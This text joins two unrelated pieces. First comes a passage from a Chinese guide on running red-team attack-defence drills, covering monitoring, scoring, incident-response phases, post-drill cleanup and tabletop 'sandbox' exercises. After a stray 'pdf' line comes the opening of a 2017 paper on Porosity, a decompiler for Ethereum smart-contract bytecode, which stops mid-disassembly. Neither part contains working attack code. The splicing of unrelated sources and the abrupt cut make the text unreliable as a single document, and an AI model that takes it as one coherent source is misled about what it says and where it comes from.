作,对攻防双方提出明确的工作要求并制定相关约束措施,确定相应 的应急预案,明确演练时间,宣布正式开始演练。 实战攻防演练启动会的召开是整个演练过程的开始。启动会需要 准备好相关领导发言,宣布规则、时间、纪律要求,攻防双方人员签 到与鉴别,攻击队抽签分组等工作。启动会约为30分钟,确保会议相 关单位及部门领导及人员到位。 2. 演练过程 演练过程中组织方依据演练策划内容,协调攻击队和防守队实施 演练,在过程中主要开展演练监控、演练研判、应急处置等工作。 (1)演练监控 演练过程中攻方和守方的实时状态以及比分情况将通过安全可靠 的方式接入组织方内部的指挥调度大屏,领导、裁判、监控人员可以 随时指导和视察。全程监控攻击系统的运行状态、攻击人员操作行 为、攻击成果、防守队的攻击发现和响应处置,从而掌握演练全过 程,确保公平、公正、可控。 (2)演练研判 演练过程中对攻击队及防守队的成果进行研判,从攻击队及防守 队的过程结果进行研判评分。对攻击方的评分机制包括攻击方对目标 系统攻击所造成实际危害程度、准确性、攻击时间长短以及漏洞贡献 数量等,对防守方的评分机制包括发现攻击行为、响应流程、防御手 段、防守时间等。从多个角度进行综合评分,得出攻击队及防守队的 最终得分和排名。 (3)演练处置 演练过程中遇突发事件,防守队无法有效应对时,演练组织方提 供应急处置人员对防守队出现的问题进行快速定位、分析、解决,保 障演练系统或相关系统安全稳定运行,实现演练过程安全可控。 (4)演练保障 人员安全保障:演练开始后需要每日让攻防双方人员签到并进行 鉴别,保障参与人员全程一致,避免出现替换人员的现象,保障演练 过程公平、公正。 攻击过程监控:演练开始后,通过演练平台监控攻击人员的操作 行为,并进行网络全流量监控;通过视频监控对物理环境及人员全程 监控,并且每日输出日报,对演练进行总结。 专家研判:聘请专家通过演练平台开展研判,确认攻击成果,确 认防守成果,判定违规行为等,对攻击和防守给出准确的裁决。 攻击过程回溯:通过演练平台核对攻击队提交的成果与攻击流 量,发现违规行为及时处理。 信息通告:利用信息交互工具,如蓝信平台,建立指挥群,统一 发布和收集信息,做到信息快速同步。 人员保障:采用身份验证的方式对攻击人员进行身份核查,派专 人现场监督,建立应急团队待命处置突发事件;演练期间派医务人员 实施医务保障。 资源保障:每日对设备、系统、网络链路进行例行检查,做好资 源保障。 后勤保障:安排演练相关人员合理饮食,现场预备食物与水。 突发事件应急处置:确定紧急联系人列表和执行预案,遇突发事 件报告指挥部,开展应急演练工作。 12.4 应急演练阶段 在演练过程中,针对参演单位失陷的业务系统,组织攻击队和参 演单位进行应急事件处理,目的是通过应急演练,快速恢复业务和检 验参演单位的应急响应机制与流程,利用实战演练环境将演练实战 化,提升参演单位的应急响应能力和完善应急响应机制。 1. 检测阶段 1)目标:接到事故报警后在服务对象的配合下对异常系统进行初 步分析,确认其是否真正发生信息安全事件,制订进一步的响应策略 并保留证据。 2)角色:应急服务实施小组成员、样本分析组、漏洞分析组。 3)内容: ·检测范围及对象的确定; ·检测方案的确定; ·检测方案的实施; ·检测结果的处理。 4)输出:《应急响应检查单》。 2. 抑制阶段 1)目标:及时采取行动抑制事件扩散,控制潜在的损失与破坏, 同时要确保封锁方法对相关业务影响最小。 2)角色:应急服务实施小组成员、样本分析组、漏洞分析组。 3)内容: ·抑制方案的确定; ·抑制方案的认可; ·抑制方案的实施; ·抑制效果的判定。 4)输出:《应急处置方案》。 3. 根除阶段 1)目标:对事件进行抑制之后,通过对有关事件或行为的分析, 找出事件根源,明确相应的补救措施并彻底清除。 2)角色:应急服务实施小组成员、样本分析组、漏洞分析组。 3)内容: ·根除方案的确定; ·根除方案的认可; ·根除方案的实施; ·根除效果的判定。 4)输出:《根除处理记录表》。 4. 恢复阶段 1)目标:恢复安全事件所涉及的系统并还原到正常状态,使业务 能够正常进行,恢复工作中应避免出现误操作,导致数据丢失。 2)角色:应急服务实施小组。 3)内容: ·恢复方案的确定; ·恢复信息系统。 5. 总结阶段 1)目标:通过以上各个阶段的记录表格,回顾安全事件处理的全 过程,整理与事件相关的各种信息,进行总结,并尽可能把所有信息 记录到文档中。 2)角色:应急服务实施小组。 3)内容。 ·事故总结。应急服务提供者应及时检查安全事件处理记录是否 齐全,是否具备可塑性,并对事件处理过程进行总结和分析。应急处 理总结的具体工作包括但不限于以下几项: ■事件发生的现象总结; ■事件发生的原因分析; ■系统的损害程度评估; ■事件损失估计; ■采取的主要应对措施; ■相关的工具文档(如专项预案、方案等)归档。 ·事故报告: ■应急服务提供者应向服务对象提供完备的网络安全事件处理报 告; ■应急服务提供者应向服务对象提供网络安全方面的措施和建 议。 12.5 演练总结阶段 1. 演练恢复 演练结束后须做好相关保障工作,如收集报告、清除后门、收回 账号及权限、回收设备、回收网络访问权限、清理演练数据等,确保 后续业务正常运行。相关内容如下。 1)收集报告:收集攻击队提交的总结报告和防守方提交的总结报 告并汇总信息。 2)清除后门:依据攻击队报告和监控到的攻击流量,将攻击方上 传的后门进行清除。 3)收回账号及权限:攻击队提交报告后,收回攻击队所有账号及 权限,包括攻击队在目标系统上新建的账号。 4)回收设备:对攻击队电脑(或虚拟终端)进行格式化处理,清 除过程数据。 5)收回网络访问权限:收回攻击队的网络访问权限。 6)清理演练数据:当主办方完成演练数据导出后,对平台侧的演 练数据进行清理。 2. 演练总结 演练总结主要包括参演单位编写总结报告,评委专家汇总演练成 果,演练全体单位召开总结会议,开展编排演练视频与开展宣传工 作。对整个演练进行全面总结,对发现的问题积极整改,开展后期宣 传工作,体现演练的实用性。 1)成果确认:以攻击队提供的攻击成果确认被攻陷目标的归属单 位或部门,落实攻击成果。 2)数据统计:汇总攻击队和防守队成果,统计攻防数据,进行评 分与排名。 3)总结会议:参演单位进行总结汇报,组织方对演练进行总体评 价,攻击队与防守队进行经验分享,为成绩优异的参演队伍颁发奖杯 和证书,对问题提出改进建议和整改计划。 4)视频编排与宣传:制作实战攻防演练视频,供防守队在内部播 放与宣传,提高人员安全意识。 5)整改建议:实战攻防演练工作完成后,演练组织方组织专业技 术人员和专家,汇总、分析所有攻击数据,进行充分、全面的复盘分 析,总结经验教训,并对不足之处给出合理整改建议,为防守队提供 具有针对性的详细过程分析报告,随后下发参演防守单位,督促整改 并上报整改结果。后续防守队应不断优化防护工作模式,循序渐进地 完善安全防护措施,优化安全策略,强化人员队伍技术能力,整体提 升网络安全防护水平。 第13章 组织沙盘推演的4个阶段 沙盘推演是在实战攻防演练的基础上,在攻击路线、攻击手段等 的有效性被证实的情况下,评估真实网络攻击可能对政企机构及公共 安全产生的影响,包括经济损失、声誉损失和社会影响等;同时,对 攻防过程中应急响应的有效性进行全过程评估。 传统的实战攻防演练更多关注的是技术和管理层面的安全风险与 攻击有效性,所以沙盘推演并不是其必选阶段。但是,作为安全损失 评估的重要过程,沙盘推演为演练机构进行科学合理的安全规划、安 全建设和安全投入提供了关键性的参考依据。因此,沙盘推演的概念 和方法一经提出就备受关注,并在越来越多的实战攻防演练中被吸收 和采纳。 沙盘推演的整体策划和组织过程分为多个阶段,主要包括以下四 个阶段。 13.1 组织策划阶段 组织策划阶段的主要目的是通过建立推演组织、明确推演目标、 搭建推演平台、确定推演流程和制定推演规则等工作并形成策划方 案,为沙盘推演打下基础。 1. 建立推演组织 为保证沙盘推演工作的顺利完成,需要组建沙盘推演工作小组, 其组织架构如图13-1所示。 图13-1 沙盘推演工作小组组织架构图 1)指挥组:主要由推演组织单位组成,负责推演工作的指挥协 调、过程策划、人员选定以及规则制定等工作。 2)攻击组:主要由攻防演练中攻击队人员组成,负责攻击方案制 定、讲解等工作。 3)防守组:主要由参演企业网络安全人员、业务系统负责人以及 目标企业相关财务、法务和公关人员组成。财务、法务和公关人员的 作用为评估网络攻击对企业业务产生的影响,包括但不限于以下几方 面: ·财务人员负责评估模拟攻击可能造成的经济损失; ·法务人员负责评估模拟攻击可能造成的政策监管风险; ·公关人员负责评估模拟攻击可能造成的声誉影响。 4)专家组:主要由组织单位邀请行业专家和技术专家组成,负责 对推演过程中攻防双方方案的可行性进行点评并打分。 2. 明确攻击目标 依据沙盘推演需要达到的目标及影响范围,选定推演拟攻击的目 标系统。一般应优先选择关键业务系统、覆盖多区域的业务专网作为 模拟攻击目标进行推演。 3. 搭建推演平台 为了体现推演过程中攻防双方的结果,方便专家组根据评分规则 进行点评,需搭建沙盘推演平台。推演平台可为攻防双方在推演过程 中展示攻防手段,帮助专家组依据评分规则进行评分。 4. 确定推演流程 推演阶段是沙盘推演过程中最重要的阶段。推演流程根据不同的 业务场景分为多场推演,每场推演依据不同的攻击方案设定为一轮或 多轮。图13-2为常见的沙盘推演流程。 图13-2 沙盘推演流程图 1)攻击组讲解攻击方案。由攻击组结合实战演练结果提供攻击方 案可行性论证,同时说明攻击过程预计投入的时间、人力和物力以及 相关投入的科学性。 2)防守组向攻击组提问。由防守组对攻击组提出的攻击方案及攻 击思路进行提问和质辩,以确认攻击方案的可行性。 3)防守组汇报防守方案:防守组针对攻击组提出的攻击方案,提 出可行的防守方案并与攻击组质辩相关方案的可行性。 4)攻击组补充发言。攻击组根据防守组已经确认的可行性方案, 提出自己将要采取的实际攻击及进一步行动,如数据篡改、窃取、删 除以及攻击范围、攻击效果等。 5)防守组补充发言。防守组提出自己的应急响应方案,并估算投 入成本,包括投入的时间、人力、物力等。 6)双方对峙交互双方在对峙过程中进行交互,论证双方投入的时 间、人力、物力的可行性,避免出现理论上可行而实施成本过高的假 设。 7)专家组点评并评分双方发言结束后,由专家组人员对攻防双方 的表现进行评价并根据打分规则评分。 8)宣布第一轮评分结果及主要结论,并宣布第一轮推演结束。 按照以上流程,依据攻击组其他攻击方案开展后面几轮推演工 作,并在多轮推演结束后开展以下工作。 1)攻击组针对上述两轮推演对防守组提出安全建议。 2)防守组自评。防守组对两轮防守策略、方案、表现进行自评。 3)专家组点评。综合两轮推演,专家组对攻击组和防守组依据评 分规则使用评分平台对双方进行评分,并给出指导意见。 4)宣布推演结束。指挥组宣布推演结束。 5)提交报告。攻防双方提交方案报告。 5. 制定推演规则 沙盘推演的第一要素是规则,如攻方如何证明攻击路线和攻击手 段的可行性,守方如何证明其应对措施的可行性及可能的响应周期。 攻防双方需共同对评估结果的科学性提供保障。制定规则的目标也是 保证这种结果的科学性,指挥组应依据实际环境制定相应的评分规 则。 推演周期一般建议为1~2天,单场推演建议不超过3小时。建议攻 击组在推演开始前1小时内向防守组公布攻击方案,因为做好攻击方案 保密工作是最大限度模拟实际攻击过程、检验防守组反应能力的有效 方法。攻防双方推演时间需控制在指定范围内。 13.2 推演准备阶段 推演准备阶段的主要目的是基于策划方案,依据推演实际环境搭 建演示环境,初步形成推演演示环境,主要工作内容为攻击方案筛 选、推演平台搭建、推演展台搭建、推演人员准备等。 1. 攻击方案筛选 推演准备阶段需要攻击组提前提交攻击方案,专家组进行评审并 指导攻击组对方案进行调整与优化,选取优秀方案纳入推演环节。 2. 推演平台搭建 依据现场实际场景搭建推演平台,导入攻击组方案形成攻击路线 图,并在推演开始前导入防守组方案,主要用于在防守组质辩过程中 展示防守方案,开通对应专家组账号。 3. 推演展台搭建 依据推演模式选择可容纳攻击组、防守组、专家组、指挥组等人 员的场地,根据现场环境的实际情况搭建展示大屏、攻防展台、灯光 等。 4. 推演人员准备 1)攻击组人员准备。攻击组人员可为攻防演练阶段蓝队人员或第 三方蓝队人员。攻击组人员需具备蓝队攻击经验,了解防守组网络架 构及安全脆弱点并能够制定专项攻击方案。建议组建2队,每队2~3 人。如涉及第三方蓝队人员,须签订保密协议,并宣贯推演规则。 2)防守组人员准备。防守组人员由目标系统网络安全人员、业务 系统负责人以及财务、会务和公关人员组成。建议至少组建2组,每组 2~3人。 3)现场保障人员准备。应由指挥组组建现场保障团队,主要负责 推演现场环境、展示、平台等的运行保障工作。 4)现场摄制人员准备。如需现场拍摄推演过程,指挥组需组建现 场拍摄团队。 5)主持人准备。主持人主要负责推演全过程中的现场节奏把控, 由指挥组指定人员担任。 13.3 沙盘推演阶段 沙盘推演由指挥组依据推演策划内容,协调攻击组与防守组实 施。沙盘推演阶段主要涉及推演过程、评估影响、专家评分等工作。 1)推演过程。沙盘推演主要由攻防双方根据对应方案展开阐述和 对峙。推演过程中指挥组应确保双方在质辩过程中按规则执行,双方 关注点不跑偏。 2)评估影响。由评估人员,即防守方财务、会务和公关人员在攻 防双方质辩结束后对推演影响进行评估,并输出攻防双方本次推演的 可行性评估方案及评估损失文档。 3)专家评分。攻防双方对峙结束后,专家组依据评分规则对攻防 双方方案可行性进行点评和评分。攻击组评分规则主要考量技术水 平、攻击危害性、可行性等方面,防守组评分规则主要考量监测、发 现、应急处置、协调配合等方面。 4)推演保障。需对现场平台、展台、网络链路进行例行检查,做 好资源保障;确定紧急联系人列表,紧急联系人主要负责推演现场平 台或展台突发故障应急事宜,执行预案,遇到突发事件报告指挥组。 13.4 总结评估阶段 总结评估阶段的工作目的是对沙盘推演整体过程进行复盘、总结 和汇报。推演结束后,攻击组和防守组需向指挥组提供本次推演的相 关材料,指挥组对这些材料进行评审,并确定后续工作如何开展。
pdf
Porosity: A Decompiler For Blockchain-Based Smart Contracts Bytecode Matt Suiche Comae Technologies [email protected] July 7, 2017 Abstract Ethereum is gaining a significant popularity in the blockchain com- munity, mainly due to fact that it is design in a way that enables devel- opers to write decentralized applications (Dapps) and smart-contract using blockchain technology. This new paradigm of applications opens the door to many possibilities and opportunities. Blockchain is often referred as secure by design, but now that blockchains can embed ap- plications this raise multiple questions regarding architecture, design, attack vectors and patch deployments. In this paper I will discuss the architecture of the core component of Ethereum (Ethereum Virtual Machine), its vulnerabilities as well as my open-source tool “Poros- ity”. A decompiler for EVM bytecode that generates readable Solid- ity syntax contracts. Enabling static and dynamic analysis of such compiled contracts. Contents 1 Ethereum Virtual Machines (EVM) 4 2 Memory Management 4 2.1 Stack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2 Storage (Persistent) . . . . . . . . . . . . . . . . . . . . . . . . 4 2.3 Memory (Volatile) . . . . . . . . . . . . . . . . . . . . . . . . 5 3 Addresses 6 4 Call Types 6 4.1 EVM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 4.1.1 Basic Blocks . . . . . . . . . . . . . . . . . . . . . . . . 6 4.1.2 EVM functions . . . . . . . . . . . . . . . . . . . . . . 7 4.1.3 EVM Call . . . . . . . . . . . . . . . . . . . . . . . . . 8 4.2 User-defined functions (Solidity) . . . . . . . . . . . . . . . . . 9 5 Type Discovery 10 5.1 Address . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 5.1.1 Non-optimized Address Mask . . . . . . . . . . . . . . 10 5.1.2 Optimized Address Mask . . . . . . . . . . . . . . . . . 10 5.1.3 Parameter Address Mask . . . . . . . . . . . . . . . . . 12 6 Smart-Contract 12 6.1 Pre-Loader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 6.2 Runtime Dispatcher . . . . . . . . . . . . . . . . . . . . . . . . 13 6.2.1 Function Hashes . . . . . . . . . . . . . . . . . . . . . 14 6.2.2 Dispatcher . . . . . . . . . . . . . . . . . . . . . . . . . 15 7 Code Analysis 20 7.1 Vulnerable Contract . . . . . . . . . . . . . . . . . . . . . . . 20 7.1.1 Solidity source code . . . . . . . . . . . . . . . . . . . . 21 7.1.2 Runtime Bytecode . . . . . . . . . . . . . . . . . . . . 22 7.1.3 ABI Definition . . . . . . . . . . . . . . . . . . . . . . 23 7.1.4 Decompiled version . . . . . . . . . . . . . . . . . . . . 24 1 8 Bugs 24 8.1 Reentrant Vulnerability / Race Condition . . . . . . . . . . . 24 8.2 Call Stack Vulnerability . . . . . . . . . . . . . . . . . . . . . 25 8.3 Time Dependance Vulnerability . . . . . . . . . . . . . . . . . 25 9 Future 25 10 Acknowledgments 26 2 List of Figures 1 Static CFG . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2 Enulated CFG . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 3 List of Listings 1 Storage (Persistent) Exmaple . . . . . . . . . . . . . . . . . . 5 2 EVM Parameter/Return Stack Location Example . . . . . . . 7 3 call Proto-type Declaration . . . . . . . . . . . . . . . . . . . . 8 4 Pre-compiled Contracts . . . . . . . . . . . . . . . . . . . . . . 9 5 CALLDATALOAD Example . . . . . . . . . . . . . . . . . . . 9 6 CALLDATALOAD EVM Pseudo-code . . . . . . . . . . . . . 10 7 Non-optimized Assembly Code Example . . . . . . . . . . . . 10 8 Optimized Assembly Code Example . . . . . . . . . . . . . . . 11 9 msg.sender EVM Bytecode Example . . . . . . . . . . . . . . 11 10 Parameter Address Mask Example . . . . . . . . . . . . . . . 12 11 Porosity Pre-loader Disassembly Output . . . . . . . . . . . . 13 12 ABI Definition . . . . . . . . . . . . . . . . . . . . . . . . . . 14 13 double Function Declaration . . . . . . . . . . . . . . . . . . . 14 14 double/triple Function Hashes . . . . . . . . . . . . . . . . . . 15 15 EVM Runtime Bytecode Example . . . . . . . . . . . . . . . . 15 16 Runtime Bytecode Porosity Disassembly . . . . . . . . . . . . 17 17 dispdisasm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 18 EVM Emulator . . . . . . . . . . . . . . . . . . . . . . . . . . 18 19 Static/Dynamic Graph Pseudo-C Code . . . . . . . . . . . . . 19 20 Decompiled Pseudo-C code . . . . . . . . . . . . . . . . . . . . 20 21 Vulnerable Smart Contract . . . . . . . . . . . . . . . . . . . . 21 22 Vulnerable Smart Contract Runtime Bytecode . . . . . . . . . 22 23 Vulnerable Smart Contract ABI Definition . . . . . . . . . . . 23 24 Vulnerable Smart Contract Decompilation . . . . . . . . . . . 24 4 1 Ethereum Virtual Machines (EVM) The Ethereum Virtual Machine (EVM) is the runtime environment for smart contracts in Ethereum. The EVM runs smart-contracts that are built up from bytecodes. Bytecodes are identified by a 160-bit address, and stored in the blockchain, which is also known as “accounts”. The EVM operates on 256-bit pseudo registers. Which means that the EVM does not operate via registers. But, through an expandable stack which is used to pass parameters not only to functions/instructions, but also for memory and other algorithmic operations. The following excerpt is taken from the Solidity documentation, and it is also worth mentioning: There are two kinds of accounts in Ethereum which share the same address space: External accounts that are controlled by public-private key pairs (i.e. humans) and contract accounts which are controlled by the code stored together with the account. The address of an external account is determined from the public key while the address of a contract is determined at the time the contract is created (it is derived from the creator address and the number of transactions sent from that address, the so- called “nonce”). Regardless of whether or not the account stores code, the two types are treated equally by the EVM. 2 Memory Management 2.1 Stack It does not have the concept of registers. A virtual stack is being used instead for operations such as parameters for the opcodes. The EVM uses 256-bit values from that virtual stack. It has a maximum size of 1024 elements. 2.2 Storage (Persistent) The Storage is a persistent key-value storage mapping (256-to-256-bit inte- gers). And is documented as below: 5 Every account has a persistent key-value store mapping 256- bit words to 256-bit words called storage. Furthermore, every account has a balance which can be modified by sending transac- tions. Each account has a persistent memory area which is called storage. Storage is a key-value store that maps 256-bit words to 256-bit words. It is not possible to enumerate storage from within a contract and it is comparatively costly to read and even more so, to modify storage. A contract can neither read nor write to any storage apart from its own. The storage memory is the memory declared outside of the user-defined functions and within the Contract context. For instance, in listing 1, the userBalances and withdrawn will be in the memory storage. This can also be identified by the SSTORE / SLOAD instructions. 1 contract SendBalance { 2 mapping ( address => uint ) userBalances; 3 bool withdrawn = false; 4 (...) 5 } Listing 1: Storage (Persistent) Exmaple 2.3 Memory (Volatile) This memory is mainly used when calling functions or for regular memory op- erations. The official documentation explicitly indicates that the EVM does not have traditional registers. Which means that the virtual stack previously discussed will be used primarily to push arguments to the instructions. The following is the excerpt explaining such behavior: The second memory area is called memory, of which a contract obtains a freshly cleared instance for each message call. Memory is linear and can be addressed at byte level, but reads are limited to a width of 256 bits, while writes can be either 8 bits or 256 bits wide. Memory is expanded by a word (256-bit), when accessing 6 (either reading or writing) a previously untouched memory word (ie. any o↵set within a word). At the time of expansion, the cost in gas must be paid. Memory is more costly the larger it grows (it scales quadratically). Traditionally the MSTORE instruction is what we would generally consider to be the instruction responsible for adding data to the stack in any typ- ical x86/x64 system. Therefore, the instructions MSTORE / MLOAD could be identified as such with respect to the x86/x64 system. Consequently, both mstore(where, what) and mload(where) are frequently used. 3 Addresses EVM uses 160-bit addresses. It is extremely crucial to understand that fact when one has to deal with type discovery. As we often see the mask 0xffffffffffffffffffffffffffffffffffffffff being applied for optimiza- tion purposes either on code or on the EVM registers. 4 Call Types There are two types of functions to di↵erentiate when working with the EVM. The first type is the EVM functions (or EVM instructions), while the second type is the user-defined function when creating the smart-contract. 4.1 EVM 4.1.1 Basic Blocks Basic Blocks usually starts with the instruction JUMPDEST , with the exception of very few exception cases. Most of the conditional and unconditional jumps have a PUSH instruction preceding them in order to push the destination o↵set into the stack. Although, in some cases we would also notice that the PUSH instruction containing the o↵set can be executed way before the actual JUMP instruction, and retrieved using stack manipulation instructions such as DUP , SWAP or POP . Those cases require dynamic execution of the code to record the stack for each JUMP instruction, as we are going to discuss this later on in sub-section 6.2.2. 7 4.1.2 EVM functions EVM functions and/or instructions includes, but are not limited to, some of the the following: Arithmetic Operations. Comparison & Bitwise Logic Operations. SHA3. Environmental Information. Block Information. Stack, Memory, Storage and Flow Operations. Push/Duplication/Pop/Exchange Operations. Logging Operations. System Operations. Since the EVM does not have registers, therefore all instructions invoca- tion are done through the EVM stack. For example, an instruction taking two parameters such as an addition or a subtraction, would use the stack entries index 0 and 1. And the return value would be stored in the stack entry index 0. In listing 2, we can see more clearly how it looks like under the hood. 1 PUSH1 0x1 ==> {stack[0x0] = 0x1} 2 PUSH2 0x2 ==> {stack[0x0] = 0x2, stack[0x1] = 0x1} 3 ADD ==> {stack[0x0] = 0x3} Listing 2: EVM Parameter/Return Stack Location Example The above EVM assembly snippet would translate to the EVM pseudo- code add(0x2, 0x1) and returns 0x3 in the stack entry 0. The EVM stack model follows the standard last-in, first-out (LIFO ) algorithm. 8 4.1.3 EVM Call There are two possible types of external EVM function calls. They can be identified with the CALL instruction. However, this is not necessarily always a concrete identifier to the call being external. Some mathematical and cryptographic functions have to be called through external contracts such as sha256 or ripemd160 using the call function. De- spite the fact of having an explicitly defined instruction for the sha3 function. Which is due to the frequent usage, especially with mapping arrays such as mapping(address => uint256) balances . Where the sha3 function is used to compute the index. The function call is where the dispatching magic happens. Listing 3 shows the proper proto-type declaration for such function. 1 call( 2 gasLimit, 3 to, 4 value, 5 inputOffset, 6 inputSize, 7 outputOffset, 8 outputSize 9 ) Listing 3: call Proto-type Declaration There are four ‘pre-compiled’ contracts that are present as extensions of the current design. The four contracts in addresses 1, 2, 3 and 4 executes the elliptic curve public key recovery function, the SHA2 256-bit hash scheme, the RIPEMD 160-bit hash scheme and the identity function respectively. Listing 4 shows such contracts, obtained from the EVM source code. 9 1 precompiled.insert( 2 make_pair(Address(1), PrecompiledContract(3000, 0, 3 PrecompiledRegistrar::executor("ecrecover")))); 4 5 precompiled.insert( 6 make_pair( 7 Address(2), 8 PrecompiledContract( 9 60, 10 12, 11 PrecompiledRegistrar::executor("sha256")))); 12 13 precompiled.insert( 14 make_pair(Address(3), PrecompiledContract(600, 120, 15 PrecompiledRegistrar::executor("ripemd160")))); 16 17 precompiled.insert( 18 make_pair(Address(4), PrecompiledContract(15, 3, 19 PrecompiledRegistrar::executor("identity")))); Listing 4: Pre-compiled Contracts 4.2 User-defined functions (Solidity) In order to call user-defined functions, another level of abstraction is managed by the instruction CALLDATALOAD . The first parameter for that instruction is the o↵set in the current environment block. The first 4-bytes indicates the 32-bit hash of the called function. Then the input parameters follows next. Listing 5, shows an example of such case. 1 function foo(int a, int b) { 2 return a + b; 3 } Listing 5: CALLDATALOAD Example In the previous example, the outcome of such code snippet would be a = calldataload(0x4) and b = calldataload(0x24) . Its imperative to re- member that by default “registers” are 256-bits. Since the first 4 bytes are 10 pre-allocated for the function’s hash value, therefore the first parameter will be at the o↵set 0x4, followed by the second parameter at o↵set 0x24. This is derived mathematically by simply calculating the number of bytes added to the previous number of bytes taken by the first parameter. So in short words, 4 + (256/8) = 0x24 . We can then conclude the EVM pseudo-code shown in listing 6. 1 return(add(calldataload(0x4), calldataload(0x24)) Listing 6: CALLDATALOAD EVM Pseudo-code 5 Type Discovery 5.1 Address Addresses can be identified by their sources such as specific instruction such as caller but in most of cases we can proceed to better results by identifying mask applied to those values. 5.1.1 Non-optimized Address Mask In listing 7, the 0x16 bytes EVM assembly code would translate to reg256 and 0xffffffffffffffffffffffffffffffffffffffff. 1 00000188 73ffffffff + PUSH20 ffffffffffffffffffffffffffffffffffffffff 2 0000019d 16 AND Listing 7: Non-optimized Assembly Code Example 5.1.2 Optimized Address Mask Listing 8 shows the optimized 0x9 bytes EVM assembly code, which also yields the same operation as shown previously in listing 7. 11 1 00000043 6001 PUSH1 0x01 2 00000045 60A0 PUSH1 0xA0 3 00000047 6002 PUSH1 0x02 4 00000049 0A EXP 5 0000004A 03 SUB 6 0000004B 16 AND Listing 8: Optimized Assembly Code Example We can then translate the EVM assembly code shown in listing 8 to the following 3 items: and(reg256, sub(exp(2, 0xa0), 1)) (EVM) reg256 & (2 ** 0xA0) - 1) (Intermediate) address (Solidity) With that being said, in listing 9 For instance, the following EVM byte- code would simply yield as the equivalence of msg.sender variable in Solidity format. 1 CALLER 2 PUSH1 0x01 3 PUSH 0xA0 4 PUSH1 0x02 5 EXP 6 SUB 7 AND Listing 9: msg.sender EVM Bytecode Example 12 5.1.3 Parameter Address Mask 1 0000003a 6004 PUSH1 04 2 0000003e 35 CALLDATALOAD 3 ... 4 00000058 73ffffffff + PUSH20 ffffffffffffffffffffffffffffffffffffffff 5 0000006d 16 AND 6 0000006e 6c00000000 + PUSH13 00000000000000000000000001 7 0000007c 02 MUL Listing 10: Parameter Address Mask Example In listing 10, we can see that the EVM assembly code for what would translate to mul(and(arg_4, 0xffffffffffffffffffffffffffffffffffffffff), 0x 1000000000000000000000000) , which is in fact an optimization to mask the ad- dresses as parameters before storing them in memory. 6 Smart-Contract When compiling a new smart-contract with Solidity, you will be asked to choose between two options to retrieve the bytecode as shown below. –bin –bin-runtime The first one will output the binary of the entire contract, which includes its pre-loader. While the second one will output the binary of the runtime part of the contract which is the part we are interested in for analysis. 6.1 Pre-Loader Listing 11 is a copy of the output from the porosity disassembler representing the pre-loader. The instruction CODECOPY is used to copy the runtime part of the contract in EVM’s memory. The o↵set 0x002b is the runtime part, while 0x00 is the destination address. 13 Note that in Ethereum assembly, PUSH / RETURN means the value pushed will be the returned value from the function and won’t a↵ect the execution address. 1 00000000 6060 PUSH1 60 2 00000002 6040 PUSH1 40 3 00000004 52 MSTORE 4 00000005 6000 PUSH1 00 5 00000007 6001 PUSH1 01 6 00000009 6000 PUSH1 00 7 0000000b 610001 PUSH2 0001 8 0000000e 0a EXP 9 0000000f 81 DUP2 10 00000010 54 SLOAD 11 00000011 81 DUP2 12 00000012 60ff PUSH1 ff 13 00000014 02 MUL 14 00000015 19 NOT 15 00000016 16 AND 16 00000017 90 SWAP1 17 00000018 83 DUP4 18 00000019 02 MUL 19 0000001a 17 OR 20 0000001b 90 SWAP1 21 0000001c 55 SSTORE 22 0000001d 50 POP 23 0000001e 61bb01 PUSH2 bb01 24 00000021 80 DUP1 25 00000022 612b00 PUSH2 2b00 26 00000025 6000 PUSH1 00 27 00000027 39 CODECOPY 28 00000028 6000 PUSH1 00 29 0000002a f3 RETURN Listing 11: Porosity Pre-loader Disassembly Output 6.2 Runtime Dispatcher At the beginning of each runtime part of contracts, we find a dispatcher that branches to the right function to be called when invoking the contract. 14 6.2.1 Function Hashes As we discussed earlier in the user-defined function section, the first 4 bytes of the environment block are used to pass the function hash to the runtime dispatcher that we will describe shortly. The function hash itself is generated from the ABI definition of the function using the logic presented in listing 12. 1 [ 2 { 3 "constant":false, 4 "inputs":[{ "name":"a", "type":"uint256" }], 5 "name":"double", 6 "outputs":[{ "name":"", "type":"uint256" }], 7 "type":"function" 8 }, 9 { 10 "constant":false, 11 "inputs":[{ "name":"a", "type":"uint256" }], 12 "name":"triple", 13 "outputs":[{ "name":"", "type":"uint256" }], 14 "type":"function" 15 } 16 ] Listing 12: ABI Definition We take the first 4 bytes of the sha3 (keccak256) value for the string functionName(param1Type, param2Type, etc) . For instance, if we consider the above function to be declared as double then we also need to consider the string double(uint256) as illustrated below in listing 13: 1 keccak256("double(uint256)") => 2 eee972066698d890c32fec0edb38a360c32b71d0a29ffc75b6ab6d2774ec9901 Listing 13: double Function Declaration This means that the function signature/hash is 0xeee97206 as extracted from the return value shown above in listing 13. If we repeat the same 15 operation for the triple(uint256) function then we will get the values shown in listing 14. 1 Contract::setABI: Name: double(uint256) 2 Contract::setABI: signature: 0xeee97206 3 4 Contract::setABI: Name: triple(uint256) 5 Contract::setABI: signature: 0xf40a049d Listing 14: double/triple Function Hashes 6.2.2 Dispatcher Using the --disassm parameter of Porosity and by providing the --abi def- inition as well, Porosity will then generate a readable disassembly output resolving the symbols based on the ABI definition. Not only that, but also isolate each basic block which will help a lot in the explanation of this section. We can go ahead and examine the runtime bytecode shown in listing 15. 1 606060405260e06 \ 2 0020a6000350463 \ 3 eee972068114602 \ 4 4578063f40a049d \ 5 146035575b005b6 \ 6 045600435600060 \ 7 4f8260025b02905 \ 8 65b604560043560 \ 9 00604f826003603 \ 10 1565b6060908152 \ 11 602090f35b92915 \ 12 05056 Listing 15: EVM Runtime Bytecode Example Porosity will generate the following disassembly for the previously men- tioned runtime bytecode which was obtained from the EVM itself as being shown in listing 16. 16 1 loc_00000000: 2 0x00000000 6060 PUSH1 60 3 0x00000002 6040 PUSH1 40 4 0x00000004 52 MSTORE 5 0x00000005 60e0 PUSH1 e0 6 0x00000007 60 02 PUSH1 02 7 0x00000009 0a EXP 8 0x0000000a 6000 PUSH1 00 9 0x0000000c 35 CALLDATALOAD 10 0x0000000d 04 DIV 11 0x0000000e 630672e9ee PUSH4 0672e9ee 12 0x00000013 81 DUP2 13 0x00000014 14 EQ 14 0x00000015 6024 